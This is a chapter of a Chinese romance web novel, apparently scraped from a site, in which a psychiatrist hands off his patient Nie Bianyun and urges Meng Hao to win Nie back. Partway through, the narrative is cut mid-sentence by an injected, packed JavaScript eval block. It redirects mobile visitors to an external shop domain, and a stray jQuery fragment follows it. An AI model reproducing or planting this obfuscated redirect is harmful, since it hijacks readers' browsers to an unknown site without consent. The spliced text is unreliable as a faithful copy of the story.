墙上的指针发出几不可闻的声响,聂边云是神的看着天蓝色的墙壁。
“这次治疗已经好很多了,上次的治疗时候的过激反应是因为你在没有准备的情况下遇到了孟灏。”
聂边云听到这话顺手拿了个抱枕,把头埋了进去。
聂边云没有想到十年后自己憎恨孟灏的同事,又不由自主的再次习惯了他的出现。
“那我接下来和孟灏持续接触没什么问题吧?”
傅诚楠没有第一时间回答聂边云的问题,而是皱了皱眉,把聂边云头上的抱枕薅了下来。
“那就要问你问你自己了,我是你的心理医生,不是你。”
“哦。”
聂边云懒懒散散的回答了一个字,但傅诚楠已经知道聂边云在想什么了。
傅诚楠叹了口气,脱掉了自己的白大褂。紧接着蹲在聂边云的身侧,静静地看着聂边云。直到聂边云有些受不了的转过了头,才开口说:
“我怕你前一周难以接受,治疗期间,你的一些行为我没有告诉你。你一直在询问孟灏当初挑唆人羞辱你是不是真的,即使你在三年前就得知了真相,但你还是不相信。你一方面在说恨,一方面因为你至今还没有消退的另一种情感而唾弃自己。”
傅诚楠说完并没有等聂边云开口,而是拉起了聂边云,顺了顺聂边云有些凌乱的头发说:
“你现在的问题大部分不在出自于当年的事情对你的伤害,而是受到伤害的你还是会忍不住看那个伤害你的人。所以你要想一想,现在的报复,是报复孟灏还是报复你自己。”
“阿云,你愿意跟我回M国吗?等你什么时候真的好了,再回来可以吗?”
聂边云沉默不语,他有些舍不得。
这里虽然时常多雨,看不到他最喜欢的月亮。可这里只要有月亮的夜晚,就难得的好看。
“好,我知道了阿云。我会在国内待到你这个疗程的结束。之后,我就要走了。我会安排好新的医生,她会和我一样尽全力帮助你。”
“我回去替你看看你喜欢的风景有没有变。”
聂边云抬头看着傅诚楠,他的脸上还是挂着亘古不变的笑。嘴角的弧度不大,但这抹温柔的笑这几年来一直带给他.
傅诚楠突然转头,从休息室里拿出一束鲜花。一如既往,山茶花像房间里唯一的一朵云。亘古不变的围绕在聂边云的周围,驱散聂边云所有的坏天气。
聂边云接过了花,没有劝傅诚楠留下。
傅诚楠围他转了这么些年,该为自己活一活了。
聂边云张开了双手。
“那提前拥抱一下吧。”
傅诚楠一时没有反应过来,随后轻轻抱住了聂边云。
白色的衣角和藏蓝色的衣角相撞,颜色糅杂在一起,掀起一片浪花似的涟漪。
“我还没走呢。”
“那就等你要走的时候再抱一下。诚楠,多去看看自己喜欢的风景。”
傅诚楠抱着聂边云的力道加大了些。这个看起来永远懒得多想的人,总是在敏感的触摸这个世界。然后在最合适的时候,慢吞吞的缝补最受伤的缺口。
“好,我会的。今天就不送你回去了,我待会还要接待一个病人。”
聂边云退出了傅诚楠的怀抱,拿着花摆了摆手。走进了阳光大好的街道上。
正值十月末,街上的行人穿着各异。有人还穿着开衫毛衣,有些人却已经套上了加绒外套。
说着接待患者的傅诚楠此刻坐在咖啡馆,端着咖啡杯有些出神地看着街角,那正是聂边云最后消失的地方。
直到对面坐下了一个人。来人穿着一身考究的正装,最外面松松垮垮披着一件驼棕长款风衣,宽大衣摆在沙发上形成不规则的褶皱。浅灰双排扣西装马甲上缀着一枚细碎闪光的金属胸针,戴着白手套的手漫不经心插在裤袋,腕间露出腕表冷亮的金属光泽。
“人模狗样。”
傅诚楠先入为主的评价了孟灏这一身行头。
孟灏被傅诚楠看的有些头皮发麻,他第一次正面接触傅诚楠。此时的傅诚楠比和聂边云在一起的时候犀利的多,眼神透过银丝眼镜直直的落到自己的身上。好像自己还没开口,对面就已经把自己看透。
“今天约你来,是想和你聊一下聂边云。”
“我要回M国了。”
孟灏已经猜到了,除了聂边云,他不知道两个人凑在一起还能聊什么。孟灏浑身的肌肉一紧,囫囵随便点了杯咖啡说:
“聂边云呢?他要回去吗?”
直到孟灏看到傅诚楠摇了摇头,才又放松下来。
傅诚楠看到孟灏的反应,真心实意的笑出了声。
“怎么?紧张?怕聂边云也回去?”
“你其实不用紧张的。毕竟,你也会跟着去M国。孟灏,我不止一次看见过你。在每个春节、阿云的生日、甚至在阿云毕业的时候你都在。可你为什么不出现呢?”
“你伤害了阿云,没资格出现?还是觉得阿云身边有我,你没必要出现让阿云烦恼?”
孟灏身体坐直了些,傅诚楠不愧是心理学方面的专家,自己的心思仿佛在无形中生成了块提词器,被傅诚楠照着读了出来。
“你知道我第一次去找边云是什么场景吗?当时边云从你的心理诊所出来,双眼通红,连走路都需要你扶着。当时的阳光天气都和现在一样,我怕我冒然过去,边云会被我经过的风,吹得支离破碎。就在我踌躇的时候,我从他的嘴里听见了我的名字。”
孟灏想到这里停顿了,他突然不想继续说下去。
但傅诚楠知道他要说什么。
那是他给聂边云做诊疗的第二次,也是他最记忆犹新的一次。
聂边云蜷缩在诊疗床上陷入了梦魇,任凭他怎么叫都叫不起来。二十出头的少年刚经历了一场恶战,在战斗中大获全胜,但也留下了无法抹去的疤痕。傅诚楠无能为力,只能听着聂边云呻吟着,断断续续的讲完了全过程。
做他这行,看过了太多人的痛苦。但唯独遇到聂边云的经历,他想不出劝导的办法,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942336|213708||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只想抱紧比他小两岁的少年。
傅诚楠忍住想把杯子砸到孟灏头上的冲动替他补完了最后的话。
“阿云说:‘遇见你,是他最不幸运的事情。好在只有两年,他还有很多时间可以忘记你。’对吗?”
孟灏点了点头,他听见傅诚楠重重的放下了咖啡杯。陶瓷落到实木桌上发出了闷响,孟灏的心跟着沉了沉。
“我问你,阿云遇见的事情。是你刻意为之,还是因为什么原因,不得已。”
孟灏不假思索的回答:
“我从没有想过要伤害边云。”
“那你觉得我和阿云是什么关系?”
孟灏苦涩的笑了笑,没有说话。
“是我单方面喜欢阿云,阿云知道但是他没有接受。你知道为什么吗?阿云恨着你,但因为你,他也爱不了别人。”
孟灏猛然间抬起头,他以为至少聂边云会试着接受别人。但傅诚楠说,聂边云和自己一样,永远放不下那两年。
“你们两个胆小鬼,互相折磨,求终不得却又难以开口。我要回去了,胆小鬼,如果你还爱着聂边云,那就大胆一点吧。聂边云或许会因此痛苦,但最后的结果,可能是他最想要的。”
孟灏的嗓子发紧,下意识的问:
“我这样不值得的人,给边云的伤害会让他回头吗?”
傅诚楠听到孟灏的话气笑了,要不是因为聂边云,他懒得再跟这个傻子多说。
“别自以为是了,你太瞧不起阿云了。阿云从来不是脆弱的人,你只需要做,阿云会自己选择。”
傅诚楠说完没有再管这头倔驴,喝尽杯里的咖啡,头也不回的走了。
只留下孟灏孤零零的思考着。
他一直知道聂边云是一个强大的人,从十七岁主动说开始恋人关系到十九岁处理好所有伤害他的人毅然决然地离开。
但他就是想,多保护聂边云一点、多让聂边云休息一点。可事情事与愿违,自己的保护、隐瞒变成了两个人之间的鸿沟,鸿沟里燃烧的熊熊烈火,烧毁了孟灏本来就不多的勇气。
孟灏站起身理了理衣服,咖啡厅门前的摇铃发出轻响。
他该主动地迈出去了,就像傅诚楠说的。不要再当胆小鬼,聂边云那样好的人,他应该主动地修筑起一座桥跨越鸿沟,到达聂边云的身边。即使桥会被火焰烧断,但是他会一次次重新架起更牢固的桥。
“王导,录制的时间提前一点吧。场景?”
孟灏想了想,脑海里是聂边云喜欢的月亮和大海。
聂边云站在海边,看着火红的太阳跌进海平面。月亮就在此刻升起,海浪带着月亮的声音汹涌的朝着聂边云奔去。
“定在海边吧,日落的时候开始,月亮最亮的时候结束。”
孟灏挂断电话,坚定地走着。
冷风吹进孟灏的脖颈,但孟灏没有一点瑟缩。周围熙熙攘攘的人没有停下,他也顺着街道走到了街角。如果傅诚楠还在,他一定看得到,孟灏走过的地方,正是聂边云消失的地方。